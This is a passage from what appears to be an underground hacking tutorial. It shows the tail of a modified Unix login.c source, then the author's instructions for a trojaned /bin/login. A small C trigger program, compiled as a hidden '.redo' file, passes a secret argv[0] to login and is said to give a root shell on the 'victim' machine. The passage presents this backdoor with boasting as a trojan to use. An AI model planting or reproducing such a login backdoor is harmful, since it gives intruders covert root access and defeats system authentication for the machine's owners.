: tty)) { syslog(LOG_WARN, LOGIN_REFUSED, name, fromhost); failed = 1; } #endif if (pwd && getdef_bool("FAILLOG_ENAB") && ! failcheck (pwent.pw_uid, &faillog, failed)) { #ifdef USE_SYSLOG syslog (LOG_CRIT, FAILURE_CNT, name, fromhost); #endif failed = 1; } if (! failed) break; /* don't log non-existent users */ if (pwd && getdef_bool("FAILLOG_ENAB")) failure (pwent.pw_uid, tty, &faillog); if (getdef_str("FTMP_FILE") != NULL) { #if HAVE_UTMPX_H failent = utxent; #else failent = utent; #endif if (pwd) STRFCPY(failent.UT_USER, pwent.pw_name); else if (getdef_bool("LOG_UNKFAIL_ENAB")) STRFCPY(failent.UT_USER, name); else STRFCPY(failent.UT_USER, "UNKNOWN"); #if HAVE_UTMPX_H gettimeofday (&(failent.ut_tv)); #else time (&failent.ut_time); #endif #ifdef USER_PROCESS failent.ut_type = USER_PROCESS; #endif failtmp (&failent); } bzero(name, sizeof name); /* * Wait a while (a la SVR4 /usr/bin/login) before attempting * to login the user again. If the earlier alarm occurs * before the sleep() below completes, login will exit. */ if (getdef_num ("FAIL_DELAY", 0)) sleep (getdef_num ("FAIL_DELAY", 0)); puts ("Login incorrect"); /* allow only one attempt with -r or -f */ if (rflg || fflg || --retries <= 0) { #ifdef USE_SYSLOG closelog(); #endif exit(1); } } (void) alarm (0); /* turn off alarm clock */ /* * Check to see if system is turned off for non-root users. * This would be useful to prevent users from logging in * during system maintenance. We make sure the message comes * out for root so she knows to remove the file if she's * forgotten about it ... */ fname = getdef_str("NOLOGINS_FILE"); if (fname != NULL && access (fname, 0) == 0) { FILE *nlfp; int c; /* * Cat the file if it can be opened, otherwise just * print a default message */ if ((nlfp = fopen (fname, "r"))) { while ((c = getc (nlfp)) != EOF) { if (c == '\n') putchar ('\r'); putchar (c); } fflush (stdout); fclose (nlfp); } else printf ("\r\nSystem closed for routine maintenance\r\n"); /* * Non-root users must exit. Root gets the message, but * gets to login. */ if (pwent.pw_uid != 0) { #ifdef USE_SYSLOG closelog (); #endif exit (0); } printf ("\r\n[Disconnect bypassed -- root login allowed.]\r\n"); } if (getenv ("IFS")) /* don't export user IFS ... */ addenv ("IFS= \t\n"); /* ... instead, set a safe IFS */ setutmp (name, tty); /* make entry in utmp & wtmp files */ if (pwent.pw_shell[0] == '*') { /* subsystem root */ subsystem (&pwent); /* figure out what to execute */ subroot++; /* say i was here again */ endpwent (); /* close all of the file which were */ endgrent (); /* open in the original rooted file */ #ifdef SHADOWPWD endspent (); /* system. they will be re-opened */ #endif #ifdef SHADOWGRP endsgent (); /* in the new rooted file system */ #endif goto top; /* go do all this all over again */ } if (getdef_bool("LASTLOG_ENAB")) log (); /* give last login and log this one */ #ifdef SVR4_SI86_EUA sysi86(SI86LIMUSER, EUA_ADD_USER); /* how do we test for fail? */ #endif #ifdef LOGIN_FBTAB /* * XXX - not supported yet. Change permissions and ownerships of * devices like floppy/audio/mouse etc. for console logins, based * on /etc/fbtab or /etc/logindevperm configuration files (Suns do * this with their framebuffer devices). Problems: * * - most systems (except BSD) don't have that nice revoke() system * call to ensure the previous user didn't leave a process holding * one of these devices open or mmap'ed. Any volunteers to do it * in Linux? * * - what to do with different users logged in on different virtual * consoles? Maybe permissions should be changed only on user's * request, by running a separate (setuid root) program? * * - init/telnetd/rlogind/whatever should restore permissions after * the user logs out. * * Try the new CONSOLE_GROUPS feature instead. It adds specified * groups (like "floppy") to the group set if the user is logged in * on the console. This still has the first problem (users leaving * processes with these devices open), but doesn't need to change * any permissions, just make them 0660 root.floppy etc. --marekm */ login_fbtab(tty, pwent.pw_uid, pwent.pw_gid); #endif #ifdef AGING /* * Have to do this while we still have root privileges, otherwise * we don't have access to /etc/shadow. expire() closes password * files, and changes to the user in the child before executing * the passwd program. --marekm */ #ifdef SHADOWPWD if (spwd) { /* check for age of password */ if (expire (&pwent, spwd)) { spwd = getspnam (name); pwd = getpwnam (name); if (pwd) pwent = *pwd; } } #else #ifdef ATT_AGE if (pwent.pw_age && pwent.pw_age[0]) { if (expire (&pwent)) { pwd = getpwnam (name); if (pwd) pwent = *pwd; } } #endif /* ATT_AGE */ #endif /* SHADOWPWD */ #endif /* AGING */ #ifdef RADIUS if (is_rad_login) { char whofilename[128]; FILE *whofile; sprintf(whofilename, "/var/log/radacct/%.20s", tty); whofile = fopen(whofilename, "w"); if (whofile) { fprintf(whofile, "%s\n", name); fclose(whofile); } } #endif chown_tty(tty, &pwent); setup_limits(&pwent); /* nice, ulimit etc. */ setup_uid_gid(&pwent, is_console); #ifdef KERBEROS if (clear_pass) login_kerberos(name, clear_pass); #endif #ifdef DES_RPC if (clear_pass) login_desrpc(clear_pass); #endif #if defined(DES_RPC) || defined(KERBEROS) if (clear_pass) bzero(clear_pass, strlen(clear_pass)); #endif setup_env(&pwent); /* set env vars, cd to the home dir */ if (! hushed (&pwent)) { motd (); /* print the message of the day */ if (getdef_bool ("FAILLOG_ENAB") && faillog.fail_cnt != 0) { failprint (&faillog); #ifdef FAILLOG_LOCKTIME if (faillog.fail_max && faillog.fail_cnt >= faillog.fail_max) { puts(REENABLED); #ifdef USE_SYSLOG syslog(LOG_WARN, REENABLED2, name, (int) faillog.fail_cnt); #endif } #endif } if (getdef_bool ("LASTLOG_ENAB") && lastlog.ll_time != 0) { printf ("Last login: %.19s on %s", ctime (&lastlog.ll_time), lastlog.ll_line); #ifdef HAVE_LL_HOST /* SVR4 || __linux__ || SUN4 */ if (lastlog.ll_host[0]) printf(" from %.*s", (int) sizeof lastlog.ll_host, lastlog.ll_host); #endif printf(".\n"); } #ifdef AGING #ifdef SHADOWPWD agecheck (&pwent, spwd); #else agecheck (&pwent); #endif #endif /* AGING */ mailcheck (); /* report on the status of mail */ } if (getdef_str("TTYTYPE_FILE") != NULL && getenv("TERM") == NULL) ttytype (tty); signal (SIGINT, SIG_DFL); /* default interrupt signal */ signal (SIGQUIT, SIG_DFL); /* default quit signal */ signal (SIGTERM, SIG_DFL); /* default terminate signal */ signal (SIGALRM, SIG_DFL); /* default alarm signal */ signal (SIGHUP, SIG_DFL); /* added this. --marekm */ endpwent (); /* stop access to password file */ endgrent (); /* stop access to group file */ #ifdef SHADOWPWD endspent (); /* stop access to shadow passwd file */ #endif #ifdef SHADOWGRP endsgent (); /* stop access to shadow group file */ #endif #ifdef USE_SYSLOG if (pwent.pw_uid == 0) syslog (LOG_NOTICE, ROOT_LOGIN, fromhost); else if (getdef_bool("LOG_OK_LOGINS")) syslog(LOG_INFO, REG_LOGIN, name, fromhost); closelog (); #endif #ifdef RADIUS if (is_rad_login) { printf("Starting rad_login\n"); rad_login(&rad_user_data); exit(0); } #endif shell (pwent.pw_shell, (char *) 0); /* exec the shell finally. */ /*NOTREACHED*/ return (0); } The root shell will be issued by the following program... #include main(int argc, char **argv){ execl(argv[1],argv[2],NULL); } compile it (gcc -o .redo redo.c)and run it like this: victim:~$ .redo /bin/login LOGIN victim:~# it gives root.. as argv[1] you should use the path to the program, and as argv[2], you should use the string you compared the Prog variable with.. :) that is a very very kewl trojan... :) mbhahahahahahaha (evil laugh).. :) and so on... In our next package: *SURPRISE!!!* (TCP/IP)